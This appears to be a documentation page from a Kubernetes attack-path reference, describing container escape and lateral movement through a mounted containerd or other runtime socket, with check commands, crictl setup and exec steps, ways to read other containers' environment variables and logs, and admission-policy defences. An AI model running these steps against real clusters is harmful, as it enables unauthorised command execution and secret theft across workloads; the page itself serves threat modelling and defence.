Skip to content

EXPLOIT_CONTAINERD_SOCK

Source Destination MITRE
Container Container Lateral Movement, TA0008

Container escape via the containerd.sock file that allows executing a binary into another container.

Details

When the containerd.sock (or other equivalent - see the list below) is mounted inside a container, it allows the container to interact with container runtime. Therefore an attacker can execute any command in any container present in the cluster. This allows an attacker to do some lateral movement across the cluster.

Prerequisites

Execution within a container process with the following unix socket being (or any parent directory) being mounted inside the container:

unix:///var/run/dockershim.sock
unix:///run/containerd/containerd.sock
unix:///run/crio/crio.sock
unix:///var/run/cri-dockerd.sock

🚨 sockets mounted as readonly can still be used for this attack. 🚨 This can be demonstrated as follows:

# Create an alpine container with the docker socket mounted as readonly
docker run -v /var/run/docker.sock:/var/run/docker.sock:ro --rm -it alpine sh

# Within the alpine container execute a docker command
docker ps

See the example pod spec.

Checks

Look for any socket being mounted in the container by running a simple find command:

find / -name dockershim.sock -o -name containerd.sock -o -name crio.sock -o -name cri-dockerd.sock  2>/dev/null

Exploitation

To exploit this vulnerability, we will use a CLI for Kubelet Container Runtime Interface (CRI) provided by Google for debugging purposes: crictl.

apt update && apt install -f wget tar
wget https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.0/crictl-v1.27.0-linux-amd64.tar.gz -O /tmp/crictl.tar.gz
tar xvf /tmp/crictl.tar.gz -C /tmp

This tools allows to interact with Kubernetes using a unix socket:

unix:///var/run/dockershim.sock
unix:///run/containerd/containerd.sock
unix:///run/crio/crio.sock
unix:///var/run/cri-dockerd.sock

Once you have the path for the mounted socket, configure crictl to use it:

MOUNTED_SOCK_PATH=/host/run/containerd/containerd.sock 
echo "runtime-endpoint: unix://${MOUNTED_SOCK_PATH}
image-endpoint: unix://${MOUNTED_SOCK_PATH}
debug: false" > /tmp/crictl.yaml && alias cc='/tmp/crictl --config /tmp/crictl.yaml'

Once everything is configured, you should be able to run command on another container of your choice.

To list all the pods:

cc ps -a

Executing a command on another pod:

cc exec -s 05c862f55a017 hostname

Notes

The -s is important otherwise, crictl will try to use the http endpoint to run the command, resulting in errors like:

FATA[0000] execing command in container: error sending request: Post "http://127.0.0.1:41903/exec/PUpJoUv0": dial tcp 127.0.0.1:41903: connect: connection refused

With crictl you can also access sensitive information: + crictl inspect: access env variable from any container + crictl logs: retrieve all the logs from any container

Defences

Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath mount for the following locations:

/var/run/dockershim.sock
/run/containerd/containerd.sock
/run/crio/crio.sock
/var/run/cri-dockerd.sock

Calculation

References: